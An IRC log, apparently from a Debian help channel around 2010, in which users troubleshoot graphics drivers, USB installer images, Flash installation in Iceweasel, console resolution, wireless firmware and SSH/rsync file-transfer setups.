| 19:04.35 | stew | razieliyo: better in what sense? |
| 19:04.47 | razieliyo | stew, better = less problems |
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| 19:05.06 | razieliyo | stew, easier to install, faster maybe |
| 19:05.07 | stew | doing what? |
| 19:05.10 | jhutchins_lt | razieliyo: nv driver. |
| 19:05.22 | stew | free, non-free |
| 19:05.43 | jhutchins_lt | Non-free drivers have no advantage on that card. |
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| 19:06.43 | razieliyo | jhutchins_lt, is it on the repositories? and which name has it? |
| 19:06.54 | jhutchins_lt | Yes. |
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| 19:07.19 | jhutchins_lt | xserver-xorg-video-nv |
| 19:07.25 | razieliyo | thanks, I'll try |
| 19:07.45 | razieliyo | it says it's already installed |
| 19:07.55 | razieliyo | well, I've got to explain something |
| 19:07.59 | razieliyo | I can enter X |
| 19:08.05 | razieliyo | but the problem is that 3d acceleration isn't on |
| 19:08.19 | jhutchins_lt | I do have an xorg.conf... |
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| 19:08.43 | razieliyo | I don't, this is a mess |
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| 19:09.13 | stew | razieliyo: the free drivers don't have any hardware accelleration for nvidia, afaik |
| 19:09.28 | razieliyo | so I would have to use nonfree |
| 19:09.40 | razieliyo | and if I have no xorg.conf, how can I select my driver? |
| 19:09.50 | stew | it is auto-detected at runtime |
| 19:10.00 | JordiGH | is excited about testing out the squeeze installer. |
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| 19:10.46 | jhutchins_lt | http://pastebin.com/g1fxH3PA |
| 19:10.46 | razieliyo | so, I can't select the driver I want? |
| 19:11.13 | razieliyo | I don't know why I don't have a xorg.conf |
| 19:11.16 | razieliyo | I'll google a bit |
| 19:11.41 | jhutchins_lt | razieliyo: Mine is at the pastbin above. |
| 19:12.04 | razieliyo | yes, but I think it will fit your computer, so I don't know if I should copy it |
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| 19:12.13 | stew | razieliyo: you don't have one because you shoulnd't need one |
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| 19:13.22 | JordiGH | Do I zcat boot.img.gz to /dev/sdb or to /dev/sdb1 ? |
| 19:13.39 | JordiGH | assuming sdb is my pendrive, and yes, it is. |
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| 19:13.48 | JordiGH | Wouldn't it be lolsy if I wiped my hard drive instead... |
| 19:13.49 | stew | JordiGH: there are instructions in the install guide |
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| 19:14.01 | jhutchins_lt | razieliyo: I have the same chipset. |
| 19:14.01 | JordiGH | I don't understand them. They say "/dev/sdX" |
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| 19:14.15 | stew | JordiGH: that would be /dev/sdb |
| 19:14.22 | JordiGH | Okay. |
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| 19:14.41 | stew | JordiGH: it would tell you to do one way for the "simple" method, and another (/dev/sdb1) for the more flexible method, or something |
| 19:14.44 | qwd | JordiGH: I know someone already mentioned it and maybe you have a reason not to use it but Unetbootin is easy to use. |
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| 19:14.58 | stew | unetbootin is easier and sometimes works |
| 19:15.20 | stew | copying the .iso to the drive directly is easier and sometimes works |
| 19:15.36 | stew | what he is doing is more involved and will work if either of the two above would possibly work |
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| 19:15.42 | JordiGH | Well, looks like I managed to not overwrite my hard drive, so that's something. |
| 19:15.44 | tharkun | Worked for me on a dell m2400 with the squeeze installer |
| 19:16.16 | JordiGH | habemus installer |
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| 19:19.53 | JordiGH | Hm, the autocomplete for pumount has a bug. |
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| 19:21.01 | JordiGH | That's in the bash-completion package, eh? |
| 19:21.02 | ericpersson | aptitude show dovecot-common says Version: 1:1.0.15-2.3+lenny1, does that mean I'm running 1.0.15 or 2.3 of dovecot ? |
| 19:21.22 | k_1 | Hello! I was wondering what's the best approach of creating a user that can _only_ ssh into and transfer files into a specific dir via rsync. |
| 19:22.07 | xuzas | hi everyone! |
| 19:22.18 | stew | you are running 1.0.15 ; 2.3+lenny1 is the debian revision, it roughly means that the maintainer made 2 different uploads, there were then 3 subsequent non-maintainer uploads which were revisions of that maintainer upload, then there was one security update to lenny of that |
| 19:22.24 | stew | ericpersson: ^ |
| 19:22.24 | ericpersson | k_1: I've tried this and found it to work ok, i'm not really sure how secure it is though, http://www.fuschlberger.net/programs/ssh-scp-sftp-chroot-jail/ |
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| 19:22.34 | f8l | xuzas: Hello. |
| 19:22.55 | ericpersson | stew: great, at least I know what documentation to consult to debug it now.. thanks.. ;) |
| 19:22.56 | vtts | ericpersson, dovecot --version |
| 19:23.02 | k_1 | ericpersson: thanks |
| 19:23.14 | ericpersson | vtts: Ah, doh! I tried dovecot -v |
| 19:23.27 | xuzas | i've just installed the original drivers for my intel gma500 under linux and everything works, ecept downloaded videos on system. could someone help me? |
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| 19:23.38 | ericpersson | vtts: confirms stews text as well, I'm double-sure now.. :) |
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| 19:23.57 | ericpersson | thanks vtts and stew |
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| 19:24.42 | qwd | k_1: I'm not sure but openssh has the subserver sftp option (or whatever it's called) now so I don't *think* ericperssons way is the best. I'm guessing you should just set it up as a strictly sftp server, and have the permissions so you can upload files, then just use rsync from the computer you're using. |
| 19:24.51 | Tony2992 | Can someone assit me configuring the flash playe rinto firefox |
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| 19:26.36 | jhutchins_lt | Tony2992: aptitude install flashplayer-plugin |
| 19:26.36 | qwd | Tony2992: you should probably explain what you've tried and why it wasn't working. you could take a look at the wiki as well. |
| 19:27.02 | jhutchins_lt | xuzas: What kind of videos? What have you tried to get them to play? |
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| 19:27.20 | ericpersson | qwd: you wont be able to rsync with only sftp though.. |
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| 19:28.01 | xuzas | well, videos in .avi and .flv format, just like always with totem |
| 19:28.05 | ericpersson | k_1: if sftp is fine, there is a chroot option in newer openssh, so you can limit their sftpsession so they are not able to browse files outside their homedir |
| 19:28.13 | Tony2992 | jhutchins_lt, tried that but still the browsers is showing me that I have 9.x install instead of 10 This is in a manual install of firefox since I was unable to find an automatic way to install it, I think I am missing the pointing to the plugins path, the questions is which one. |
| 19:28.38 | qwd | ericpersson: really? I would have thought you could just mount it and tell rsync to send the files to that folder? then again I hadn't used rsync until I installed Grsync yesterday :) |
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| 19:28.51 | jhutchins_lt | Tony2992: aptitude install iceweasel |
| 19:29.13 | k_1 | qwd: see, I'm setting up a wikileaks massmirror http://wikileaks.under.ch/mass-mirror.html |
| 19:29.14 | Tony2992 | qwd, since I was unable to install firefox from apt-get, i download the package manually from firefox.com and extracted and run it from a icom in the desktop. I know that is the wrong way to do it but I was unable to do it automatically using the apt-get |
| 19:29.24 | jhutchins_lt | xuzas: mplayer works for me. |
| 19:29.30 | k_1 | rsync over ssh |
| 19:29.37 | stew | Tony2992: firefox is named 'iceweasel' in debian |
| 19:29.53 | ericpersson | qwd: mm, you mean mount it over sftp and then rsync "locally", that might work.. |
| 19:30.05 | ericpersson | qwd: i would expect it to be less efficient though.. |
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| 19:30.08 | jhutchins_lt | Tony2992: flashplayer-plugin installed 10 for me on lenny. |
| 19:30.10 | Tony2992 | jhutchins_lt iceweasel comes with Debian, can I have firefox as well. |
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| 19:30.29 | jhutchins_lt | Tony2992: The only difference is that the icon and title have been changed. |
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| 19:30.33 | jhutchins_lt | Tony2992: Same code. |
| 19:30.37 | qwd | Tony2992: that's why you should always give as much info as possible, and not just ask how to do something, many times the solution you think it right isn't :) Iceweasel IS Firefox, no need for both. |
| 19:30.40 | xuzas | Tony2992, it's just the same |
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| 19:31.03 | razieliyo | nice, default drivers worked |
| 19:31.04 | xuzas | jhutchins_lt, it's not that problem |
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| 19:31.36 | xuzas | before installing the original drivers for my gma500 everything used to work |
| 19:31.52 | xuzas | but in a wrong resolution and a bit slow |
| 19:31.52 | razieliyo | now just a question, after making some changes, I could see the console (ctrl+alt+f1) in a great resolution, but now it has gone down, can I change this? |
| 19:31.55 | Tony2992 | xuzas, Currently I see Webbrowser 2.22.3 within Debian,whyc an they include firefox like in ubuntu. |
| 19:31.59 | qwd | k_1: Ah, maybe my way wouldn't work for that then. Kudos for mirroring wikileaks though :) |
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| 19:32.51 | jhutchins_lt | !why iceweasel |
| 19:32.51 | dpkg | Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_in_Debian for more information. http://glandium.org/blog/?p=933. Ask me about <dfsg>. |
| 19:32.53 | xuzas | razieliyo, i had the same problem as david and solved (except some details) |
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| 19:33.10 | xuzas | it* |
| 19:33.16 | jhutchins_lt | ,versions iceweasel |
| 19:33.18 | judd | Package iceweasel on i386 -- etch: 2.0.0.19-0etch1; etch-security: 2.0.0.19-0etch1; lenny: 3.0.6-3; lenny-security: 3.0.6-3; lenny-backports: 3.5.15-1~bpo50+1; sid: 3.5.15-1; squeeze: 3.5.15-1; experimental: 3.6.12-2 |
| 19:33.23 | k_1 | qwd: yeah, or its just a hoax so someone gets a decent botnet |
| 19:33.29 | Tony2992 | qwd, but by default in Debian I am looking at something call "Web browser 2.22.3" can I do apt-ge install iceweasel? |
| 19:33.33 | razieliyo | xuzas, you mean console resolution problem? |
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| 19:34.04 | xuzas | not console resolution; general screen resolution |
| 19:34.19 | xuzas | wasn't this his problem? |
| 19:34.21 | stew | Tony2992: yes, "apt-get install iceweasel" will install iceweasel (which is just firefox with a different name and different icons) |
| 19:34.26 | jhutchins_lt | Yes, you can install iceweasel. What release of debian are you on? |
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| 19:35.04 | razieliyo | no, I mean just console resolution |
| 19:35.10 | haxi__ | hi here, I want to configure my wlan network, I mean I want to get my debian connected to my router by wifi. wireless card is displayed in lspci, but not in ifconfig... any idea? |
| 19:35.18 | razieliyo | but a console itself by ctrl alt f1 |
| 19:35.20 | xuzas | it was really easy, i just followed one of the links he shared with you |
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| 19:35.43 | jhutchins_lt | haxi__: What is the wireless chipset? |
| 19:35.56 | Tony2992 | stew, I wonder why debian decided to do epipahny by default in the panel. |
| 19:35.58 | qwd | razieliyo: I think this is what you want http://www.ehow.com/way_5976234_do-change-resolution-tty-command_.html |
| 19:36.27 | razieliyo | is taking a look |
| 19:36.34 | jhutchins_lt | Tony2992: Epihany is part of gnome. |
| 19:36.34 | stew | Tony2992: if you install gnome and no other browser, you get the gnome default (as decided by gnome, not by debian) |
| 19:36.55 | haxi__ | jhutchins_lt: ralink RT3090 |
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| 19:37.08 | jhutchins_lt | !rt3090 |
| 19:37.08 | dpkg | The vendor driver for Ralink RT3090/RT3091/RT3092 PCI-E 802.11n wireless LAN devices (rt3090sta) was merged in <rt2860sta> at Linux 2.6.33. In Debian 2.6.32 kernel images, rt3090sta was replaced with a backported rt2860sta driver in linux-2.6 2.6.32-18 (BTS #588863). Firmware is required (rt3090.bin), ask me about <ralink firmware> to provide. http://wiki.debian.org/rt2860sta |
| 19:37.37 | stew | qwd: is that article a joke? "TTY Command" "essentially giving orders directly into the mainframe" |
| 19:37.44 | stew | mainframe?!? |
| 19:37.53 | qwd | razieliyo: or dpkg-reconfigure console-setup I remember doing this once, but I can't remember exactly how. It wasn't too hard though since I was able to do it :) |
| 19:37.55 | Tony2992 | jhutchins_lt , ohhh ok. ok so I launched iceweasel but it still showing me flash version 9.x, I need to update to 10.x, how cna I do it? |
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| 19:38.04 | haxi__ | I think I should update my kernel first. (2.6.26) |
| 19:38.20 | jhutchins_lt | Tony2992: What relase of debian are you running? |
| 19:38.38 | Tony2992 | lenny I think since I just download it 10 minutes ago. |
| 19:38.54 | jhutchins_lt | Tony2992: pastebin /etc/apt/sources.list |
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| 19:39.07 | wildc4rd | evenin all |
| 19:39.12 | stew | Tony2992: you want a free version of flash? or the non-free version from adobe? |
| 19:39.13 | razieliyo | qwd, it asks me about the font size |
| 19:39.35 | razieliyo | qwd, I've selected the smaller size, but it still isn't like I had it earlier |
| 19:39.39 | razieliyo | I don't know why it has changed |
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| 19:40.13 | haxi__ | jhutchins_lt: I installed firmware-ralink, Must I update my kernel? |
| 19:40.22 | haxi__ | well it seems an idiot question, sorry. |
| 19:40.24 | razieliyo | qwd, I think I'm having the solution |
| 19:40.34 | Tony2992 | jhutchins_lt , http://pastebin.com/0HYQ6BYS |
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| 19:40.50 | qwd | razieliyo: This. http://www.linuxquestions.org/questions/linux-newbie-8/font-or-resolution-too-big-in-ttys-637482/#post3136487 I remember the vga=something part. The different codes do different things, please search google and read before doing anything though, I don't want to break your system :) |
| 19:40.56 | haxi__ | I have 4Gb of ram, should I use kernel-bigmem? |
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| 19:41.04 | deStone | anyone familar with loopback devices? |
| 19:41.06 | razieliyo | qwd, I had something like, but not the exactly |
| 19:41.11 | Tony2992 | stew, as long as its the latest and works with something I want to play either one will work I guess |
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| 19:41.22 | razieliyo | qwd, yes, there's some vga= option at the startup |
| 19:41.27 | razieliyo | but it doesn't do nothing for me |
| 19:41.37 | stew | Tony2992: if you need flash v10, perhaps non-free is the only way it will work |
| 19:41.53 | stew | Tony2992: it looks like the free implementations don't support v10 yet |
| 19:41.53 | Tony2992 | stew, ok..how to install it |
| 19:42.02 | razieliyo | qwd, I'm trying |
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| 19:42.50 | qwd | razieliyo: https://secure.wikimedia.org/wikipedia/en/wiki/VESA_BIOS_Extensions#Linux_video_mode_numbers |
| 19:43.20 | stew | razieliyo: /msg dpkg fbcon resolution |
| 19:43.27 | stew | razieliyo: that will tell you which your hardware supports |
| 19:43.46 | razieliyo | qwd, I'm using grub2 and it hasn't got menu.lst, anyway it has a grub.cfg and I can change it there, but this does nothing |
| 19:44.09 | razieliyo | stew, a few minutes ago I was using a nice typography, but now I don't know why, it has the standard one |
| 19:44.31 | Tony2992 | razieliyo , try gurb-mkconfig |
| 19:44.38 | Tony2992 | I mean grub-mkconfig |
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| 19:45.20 | razieliyo | Tony2992, I'll try |
| 19:45.35 | razieliyo | but with what stew gave to me, I think this is getting a better colour |
| 19:45.44 | razieliyo | it tells me an hex code for each mode |
| 19:45.49 | razieliyo | do I have to put it on the grub I think |
| 19:45.59 | jhutchins_lt | Tony2992: You need to add contrib and non-free to your source lines. |
| 19:46.08 | jhutchins_lt | ,versions flashplayer-pluggin |
| 19:46.11 | judd | Sorry, no package named 'flashplayer-pluggin' was found in i386. |
| 19:46.16 | jhutchins_lt | ,versions flashplayer-plugin |
| 19:46.18 | judd | Sorry, no package named 'flashplayer-plugin' was found in i386. |
| 19:46.49 | razieliyo | Tony2992, grub-mkconfig just tell me the grub.cfg |
| 19:47.26 | jhutchins_lt | ,versions flashplugin-nonfree |
| 19:47.27 | judd | Package flashplugin-nonfree on i386 -- etch-backports/contrib: 1:1.4~bpo40+1; lenny-backports/contrib: 1:2.8.2~bpo50+1; sid/contrib: 1:2.8.2; squeeze/contrib: 1:2.8.2 |
| 19:47.31 | JordiGH | If I want to "test" the squeeze install, should I just do the default install or the expert install? |
| 19:47.47 | razieliyo | I think I should add the hex code instead the decimal one |
| 19:48.30 | netadmin | I hate --append-to-version parameters :) |
| 19:48.36 | stew | razieliyo: there is no difference |
| 19:48.56 | netadmin | new kernel version (2.6.36.1) compiling error, I using append-to-version=-mueddib |
| 19:48.57 | netadmin | hehe |
| 19:49.00 | jhutchins_lt | Tony2992: The debian package is a (free) script that downloads the adobe package. Adobe keeps changing the URL for that package, so the script keeps having to change. |
| 19:49.26 | Tony2992 | uhhh, adobe and their dirty tricks |
| 19:49.44 | netadmin | append-to-version= (k7) (sparc) (486) (686) |
| 19:49.48 | razieliyo | stew, it worked |
| 19:49.56 | Tony2992 | jhutchins_lt do you have the two repository links for contrib and non-free handy? |
| 19:50.01 | razieliyo | stew, bad news, it has changed again |
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| 19:50.17 | stew | razieliyo: it works part way through the boot, then changes? |
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| 19:50.25 | Tony2992 | razieliyo , what is it you want to do? |
| 19:50.33 | jhutchins_lt | Tony2992: Same as you already have, just add contrib (and non-free if you want it) after "main". |
| 19:50.51 | Tony2992 | jhutchins_lt got it |
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| 19:51.01 | razieliyo | Tony2992, I want to give more resolution to the framebuffer |
| 19:51.21 | jhutchins_lt | Tony2992: Looks like the installer is in contrib, because as I said it's just a script. |
| 19:51.35 | razieliyo | Tony2992, after I was installing the driver, it was a nice tight font, but now it's bold and ugly, and the resolution is about 24 lines |
| 19:52.10 | Tony2992 | jhutchins_lt isn't that my last two lines? |
| 19:52.35 | razieliyo | at least it's nicer now |
| 19:52.58 | razieliyo | but I still don't have my old tight font =( |
| 19:52.59 | stew | razieliyo: i don't understand what you mean by "it has changed again" then |
| 19:53.00 | jhutchins_lt | Tony2992: No, that's multimedia. |
| 19:53.09 | jhutchins_lt | Tony2992: Line 15 is redundant, you can remove it. |
| 19:53.15 | razieliyo | stew, I meant the font had changed |
| 19:53.25 | razieliyo | stew, of course, I was editing the conf |
| 19:53.34 | jhutchins_lt | Tony2992: You want to make the changes on lines 6,7,9 and 10. |
| 19:53.37 | stew | razieliyo: when did the font change? |
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| 19:54.13 | razieliyo | I had to do 2 things, one, edit the grub.cfg and two, dpkg-reconfigure console-setup and set the font to terminus bold |
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| 19:55.44 | razieliyo | I'm approaching to my purpose |
| 19:56.18 | razieliyo | at least |
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| 19:57.23 | Tony2992 | jhutchins_lt,should it looks like this http://pastebin.com/x041kxyb |
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| 19:59.55 | fluxdude | I am having a lot of trouble trying to update my keymap to the US keyboard |
| 20:00.12 | fluxdude | tried dpkg-reconfigure console-data and selected US keyboard but my keys are still coming out wrong |
| 20:00.21 | stew | fluxdude: in X or in console? |
| 20:00.23 | fluxdude | tried every US keyboard combination as well |
| 20:00.24 | fluxdude | in X |
| 20:00.36 | stew | fluxdude: then ignore console-data, that is not for x |
| 20:00.57 | stew | fluxdude: does "setxkbmap us" work? |
| 20:01.25 | stew | fluxdude: what version of debian is this? |
| 20:01.41 | fluxdude | yes |
| 20:01.43 | fluxdude | thank you |
| 20:01.55 | fluxdude | tried googling all over and everywhere was telling me to use console-data |
| 20:01.56 | stew | fluxdude: that's not permanant |
| 20:02.02 | jhutchins_lt | Tony2992: no. |
| 20:02.36 | fluxdude | how do I make it permanent? |
| 20:02.47 | jhutchins_lt | Each line should contain a server ONCE, like this: deb http://ftp.us.debian.org/debian/ lenny main contrib non-free |
| 20:03.25 | JordiGH | Hm, how do I tell d-i to use the wireless? Or at least try to use the wireless? |
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| 20:03.51 | jhutchins_lt | Tony2992: You should only have one deb line for each server, plus a deb-src line if you user source packages. |
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| 20:04.56 | Tony2992 | jhutchins_lt , how about now http://pastebin.com/mtgA0AwH |
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| 20:06.14 | jhutchins_lt | Much better. Be sure to do security as well. |
| 20:06.30 | JordiGH | I thought d-i would ask me if I wanted to load firmware... it didn't. |
| 20:07.16 | jhutchins_lt | !install guide |
| 20:07.16 | dpkg | The Debian Installation Guide for Lenny (5.0.7) can be found at http://www.debian.org/releases/lenny/installmanual . See also <errata> and <installer firmware>. |
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| 20:08.33 | jhutchins_lt | JordiGH: In particular, see http://www.debian.org/releases/lenny/i386/ch02s01.html.en#network-cards |
| 20:08.36 | Tony2992 | jhutchins_lut, I am just trying to get my browser and flash ready so I can listen to a training I got |
| 20:08.36 | JordiGH | Yeah, "rtfm" is about as useful as "I don't know". Thanks, found out what I wanted. |
| 20:08.55 | jhutchins_lt | JordiGH: I can't remember if it's WEP or WPA that's supported, but only one of them is. |
| 20:08.57 | plus | May I ask why l3vers.sty is missing from the expl3 in texlive-latex3 in squeeze (http://packages.debian.org/squeeze/all/texlive-latex3/filelist)? I am trying to get a newer version of siunitx installed which depends on this file, and I can't seem to compile l3vers.sty by myself, as attempting to do so yields this http://pastebin.com/PT8LTrU3 |
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| 20:09.21 | haxi__ | hi |
| 20:09.30 | jhutchins_lt | JordiGH: rtfm is a pretty good answer if you don't give enough details for someone to be able to answer you more specifically. |
| 20:09.56 | stew | except it was the wrong part of the wrong M |
| 20:09.56 | JordiGH | What details are you missing besides "how do I get d-i to ask me about wireless cards"? |
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| 20:10.08 | jhutchins_lt | JordiGH: At least then you know there IS a manual. |
| 20:10.12 | stew | JordiGH: http://www.debian.org/releases/squeeze/i386/ch06s04.html.en it should prompt you when the driver is loaded |
| 20:10.36 | Tony2992 | jhutchins_lt when I try doing apt-get install flashplugin-nonfree I get an error "Package flashplugin-nonfree has no installation candidate |
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| 20:10.53 | helo | debian on arm channel? |
| 20:11.02 | jhutchins_lt | Tony2992: aptitude update && aptitude install flashplayer-mozilla |
| 20:11.07 | stew | Tony2992: you should run "apt-get update" or "aptitude update" whenever you change sources.list |
| 20:11.13 | stew | helo: try #debian-arm on irc.debian.org |
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| 20:13.10 | haxi__ | Guys, I have no dhcpoffers on my wlan0, what it could be? |
| 20:13.15 | Tony2992 | stew, i did but it still not working |
| 20:13.18 | haxi__ | it's a new computer and new system |
| 20:13.23 | stew | Tony2992: flash sucks |
| 20:13.40 | Tony2992 | stew, flash does not appear to update or install |
| 20:13.52 | stew | good |
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| 20:14.54 | jhutchins_lt | ,versions adobe-flashplugin |
| 20:14.55 | judd | Sorry, no package named 'adobe-flashplugin' was found in i386. |
| 20:14.57 | stew | Tony2992: you have flash 9 support from free software. urge the sites that are requring flash 10 to also support flash 9 and to migrate to open software |
| 20:15.02 | jhutchins_lt | Sigh. Wonder where I got it from. |
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| 20:16.57 | JordiGH | Hmmm... broadcom BCM4322. I do need to load firmware for that, don't I? |
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| 20:17.25 | Tony2992 | stew, not true. Youtube videos are not working, it complaint to update to 10 |
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| 20:17.50 | Plouj | hi |
| 20:17.50 | jhutchins_lt | Tony2992: Sorry to keep giving you bad info, but we're getting closer I think. |
| 20:17.53 | Tony2992 | I can't ebelieve that I have spend the last 3 hours trying to install flash in Debian |
| 20:18.17 | jhutchins_lt | ,versions flashplugin-nonfree |
| 20:18.19 | judd | Package flashplugin-nonfree on i386 -- etch-backports/contrib: 1:1.4~bpo40+1; lenny-backports/contrib: 1:2.8.2~bpo50+1; sid/contrib: 1:2.8.2; squeeze/contrib: 1:2.8.2 |
| 20:18.24 | Tony2992 | it should be a simple system as apt-get install flash-plugin or something like that |
| 20:18.29 | Plouj | should debian packages contain/mention parent directories such as / and /usr and /usr/bin? If so, what should be their permissions set to? |
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| 20:18.45 | sh4d3sl4y3r_ | is the broadcom open source firmware shipped with squeeze out of the box? |
| 20:19.02 | jhutchins_lt | Tony2992: Yes, but the problem is to integrate the proprietary adobe package, which Debian can not distribute, with the debian package management system. |
| 20:19.12 | jhutchins_lt | Tony2992: Turns out it's in backports now. |
| 20:19.21 | jhutchins_lt | Tony2992: (This changes from time to time as well) |
| 20:19.47 | stew | Tony2992: talk to adobe about making their software redistributable, then |
| 20:19.58 | jhutchins_lt | !tell Tony2992 about bdo |
| 20:19.59 | Tony2992 | jhutchins_lt , it is a little bit frustrating for newcomers to debian to be face with things like this, I know its not your fault but adobe |
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| 20:20.19 | jhutchins_lt | Tony2992: We're all just fellow users here. |
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| 20:21.22 | jhutchins_lt | Tony2992: I apologize for the shifting answers, but it seems like each time I solve this problem the answer is slightly different. |
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| 20:21.53 | Slasher` | hi, does anyone know how to disable usb 2.0 in debian, and have it force use usb 1.1 please? |
| 20:21.54 | jhutchins_lt | Tony2992: So see the message from dpkg, add backports, aptitude update && aptitude install -t lenny-backports fashplugin-nonfree |
| 20:22.15 | dondelelcaro | Slasher`: why in the world would you want that? |
| 20:22.42 | thewanderer1 | Slasher`: you should probably do that in BIOS setup tool... |
| 20:22.52 | Slasher` | apparently one of my devices has issues with 2.0, so want to try and disable it completely. it's not an everyday use machine so if i can figure out how to do it, i figure it's worth a try |
| 20:22.58 | Slasher` | i can't seem to find it in bios |
| 20:23.42 | jelly | Slasher`: remove the ehci_hcd module, it drives the usb 2 host controller |
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| 20:24.14 | jelly | Slasher`: that's just an (educated?) guess, btw |
| 20:24.19 | Tony2992 | jhutchins_lt same problem, nothing to install |
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| 20:25.15 | Slasher` | thanks jelly |
| 20:25.23 | Slasher` | someone in ubuntu said the same thing so its worth a go |
| 20:26.09 | acemi | Tony2992: to install manually: cd /tmp/; wget http://download.macromedia.com/pub/labs/flashplayer10/flashplayer10_2_p2_32bit_linux_111710.tar.gz; tar zxf flashplayer10_2_p2_32bit_linux_111710.tar.gz; mkdir -p ~/.mozilla/plugins/; cp libflashplayer.so ~/.mozilla/plugins/ |
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| 20:27.07 | stew | acemi: he's running i386? |
| 20:27.24 | acemi | this i386 package |
| 20:27.29 | acemi | this is i386 package |
| 20:27.33 | stew | acemi: is that the right one for him? |
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| 20:28.07 | razieliyo | how's called that thing that shows the cpurate in the background and lots of info? |
| 20:28.13 | acemi | you means arch? |
| 20:28.35 | thewanderer1 | razieliyo: conky? |
| 20:28.36 | stew | acemi: i mean is this i386 flash going to work with his browser? is he also running a i386 browser? or are you just guessing? |
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| 20:29.05 | razieliyo | thewanderer1, yes, and does it consumes much cpu or memory? |
| 20:29.20 | acemi | stew: this is the 32-bit linux package |
| 20:29.32 | stew | acemi: yes, I know |
| 20:29.34 | stew | nevermind |
| 20:29.38 | thewanderer1 | razieliyo: hardly any |
| 20:29.52 | thewanderer1 | I've seen conky run on 32MB RAM, 167MHz CPU... |
| 20:30.30 | razieliyo | thewanderer1, nice, thanks |
| 20:31.38 | jhutchins_lt | Tony2992: If you've added backports according to the instructions on the backports page, aptitude search flashplugin-nonfree should give you two results. |
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| 20:35.43 | Tony2992 | acemi, i try but still can't see the .so module under ~/.mozilla/plugins |
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| 20:37.12 | acemi | is it in /tmp/ |
| 20:37.30 | jhutchins_lt | Tony2992: The package will install it to the system directory - /usr/lib/mozilla/plugins (and several other links). |
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| 20:38.28 | Tony2992 | acemi , yeah |
| 20:39.50 | acemi | so: mkdir -p ~/.mozilla/plugins/; cp /tmp/libflashplayer.so ~/.mozilla/plugins/ will do |
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| 20:41.08 | jhutchins_lt | acemi: Possibly need to set ownership/permissions. |
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| 20:41.30 | stew | i'm going to chuckle when it turns out he is running amd64 |
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| 20:41.58 | KaffeeJunky123 | stew: why? |
| 20:42.09 | acemi | stew: you are right, this is my fault |
| 20:42.14 | stew | because the bad advice he is getting will turn out worse |
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| 20:42.47 | KaffeeJunky123 | oh he's getting bad advice on flashplugins |
| 20:42.49 | acemi | Tony2992: could you paste: uname -a |
| 20:42.49 | KaffeeJunky123 | didn't see that |
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| 20:43.20 | stew | KaffeeJunky123: yes, they are having him install a .so directly into his home directory instead of using the packages from debian |
| 20:43.32 | stew | so if it does work, he won't get updates |
| 20:43.40 | djura-san | 1o/ |
| 20:43.56 | KaffeeJunky123 | stew: ewwww |
| 20:44.11 | KaffeeJunky123 | stew: I guess they want to invade his comp |
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| 20:48.32 | Tony2992 | acemi Linux dlgrullon 2.6.26-2-686 #1 SMP Thu Nov 25 01:53:57 UTC 2010 i686 GNU/Linux |
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| 20:50.00 | Tony2992 | acemi, I loaded the file and still iceweasel show it as 9.x |
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| 20:53.27 | acemi | Tony2992: did you restart the iceweasel |
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| 20:54.43 | Tony2992 | I even try downloading the 64-bit package |
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| 20:56.24 | acemi | 64-bit package is not for your system |
| 20:57.33 | thewanderer1 | Tony2992: perhaps Iceweasel is loading the plugin from a place you don't want it to load it |
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| 20:58.33 | Tony2998 | acemi I even try installing the 64-bit using the same method you describe, when I launched iceweasel it continues to complain that I am using version 9.x |
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| 20:59.26 | acemi | 64-bit package is not suitable for your system |
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| 21:00.19 | LeetDog1337 | hey guys, in what file do i put commands to run at boot? |
| 21:00.32 | cast | /etc/rc.local is one option |
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| 21:01.01 | LeetDog1337 | alright thanks |
| 21:01.58 | stew | LeetDog1337: what commands? there might be a better place |
| 21:02.06 | acemi | Tony2998: how did you install flash 9.* |
| 21:02.07 | LeetDog1337 | alias |
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| 21:02.20 | stew | LeetDog1337: in your .bashrc (asuming you are using bash) |
| 21:02.28 | LeetDog1337 | oh ok. |
| 21:02.30 | LeetDog1337 | thanks |
| 21:02.31 | Tony2998 | acemi , can you paste the entire line again, i lost it when irc disconected me |
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| 21:02.46 | stew | LeetDog1337: it doens't make sense to run that at boot, it makes sense to run that when you shell starts |
| 21:03.09 | stew | LeetDog1337: (especially since that isn't a command, its a shell builtin, and only lasts for the duration of that shell) |
| 21:03.20 | LeetDog1337 | o |
| 21:03.27 | jhutchins_lt | Tony2998: You need to figure out where the flash 9 is being loaded from. |
| 21:03.54 | jhutchins_lt | Tony2998: You are well on the way to having an umaintainable system if you keep trying different methods. |
| 21:04.01 | Tony2998 | jhutchins_lt I guess it was loaded in the box by default for iceweasel. |
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| 21:04.07 | jhutchins_lt | Tony2998: No. |
| 21:04.19 | stew | yes |
| 21:04.23 | jhutchins_lt | Tony2998: You had to install it somehow. |
| 21:04.39 | stew | i'm going to guess it was via "tasksel insatll desktop" |
| 21:04.40 | Tony2998 | jhutchins_lt I am trying |
| 21:04.49 | stew | (run by the installer for him) |
| 21:05.26 | jhutchins_lt | Tony2998: Does dpkg -l | grep flash show a flash package installed? |
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| 21:06.38 | Tony2998 | jhutchins_lt , yeah "ii flashplayer-mozilla 2:10.1.102.64-0.0 Macromedia Flash Player |
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| 21:07.21 | LeetDog1337 | btw guys, is there any mod for links?(Graphical version) to display images :/? |
| 21:07.35 | stew | LeetDog1337: links2 -g |
| 21:07.44 | LeetDog1337 | yeah stew |
| 21:07.50 | LeetDog1337 | but that doesnt display images :O? |
| 21:08.24 | stew | LeetDog1337: it does for me |
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| 21:08.40 | razieliyo | I have two removable hdd, so, can I setup fstab to mount whichever of them both when they're plugged in? |
| 21:09.06 | LeetDog1337 | stew: does it support css btw? |
| 21:10.03 | stew | LeetDog1337: i doubt it |
| 21:10.05 | razieliyo | I wonder what will happen if I set, for example, /dev/sdb /media/disk1 and /dev/sdc /media/disk2 and I plug the disk2 first and the disk1 last |
| 21:10.34 | razieliyo | would disk2 set into /media/disk1 and disk1 into /media/disk2? |
| 21:10.44 | acemi | Tony2998: there is something wrong in your system. flash 10.x is already installed |
| 21:10.52 | razieliyo | because debian names each sdX by pluggin them on I wish |
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| 21:11.56 | stew | antii: there is nothiong wrong. he has multiple versions installed and the free version is preferred, and he hasn't told it otherwise yet |
| 21:12.01 | stew | acemi: ^ |
| 21:12.03 | jhutchins_lt | Tony2998: What about the packages you got directly from Adobe - where did you put those? |
| 21:12.10 | antii | hmmpf. installed squeeze today and trying to run a cronjob but just getting a /bin/sh: antii: not found |
